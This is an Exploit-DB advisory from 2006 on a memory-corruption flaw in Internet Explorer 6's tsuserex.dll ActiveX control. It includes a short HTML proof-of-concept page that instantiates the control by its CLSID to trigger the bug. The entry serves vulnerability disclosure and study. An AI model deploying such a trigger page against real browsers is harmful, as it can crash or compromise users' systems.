Microsoft Internet Explorer 6 - 'TSUserEX.dll' ActiveX Control Memory Corruption

EDB-ID:

28400

Author:

nop

Type:

remote

Platform:

Windows

Published:

2006-08-17

source: http://www.securityfocus.com/bid/19570/info

Microsoft Internet Explorer is prone to a memory-corruption vulnerability. This is related to the handling of the 'tsuserex.dll' COM object ActiveX control.

Attackers may exploit this issue via a malicious web page to execute arbitrary code in the context of the currently logged-in user. Exploitation attempts may lead to a denial-of-service condition as well. Attackers may also employ HTML email to carry out an attack.


=============== tsuserex.dll.htm start ================

<!--
// Microsoft Windows 2003 (tsuserex.dll) COM Object Instantiation
Vulnerability
// tested on Windows 2003 EE SP1 CN

// http://www.xsec.org
// nop (nop#xsec.org)

// CLSID: {E2E9CAE6-1E7B-4B8E-BABD-E9BF6292AC29}
// Info: ADsTSUserEx Class
// ProgID: tsuserex.ADsTSUserEx.1
// InprocServer32: C:\WINDOWS\system32\tsuserex.dll

--!>

<html><body>
<object classid="CLSID:{E2E9CAE6-1E7B-4B8E-BABD-E9BF6292AC29}"> </object>
</body>
</html>

=============== tsuserex.dll.htm end ==================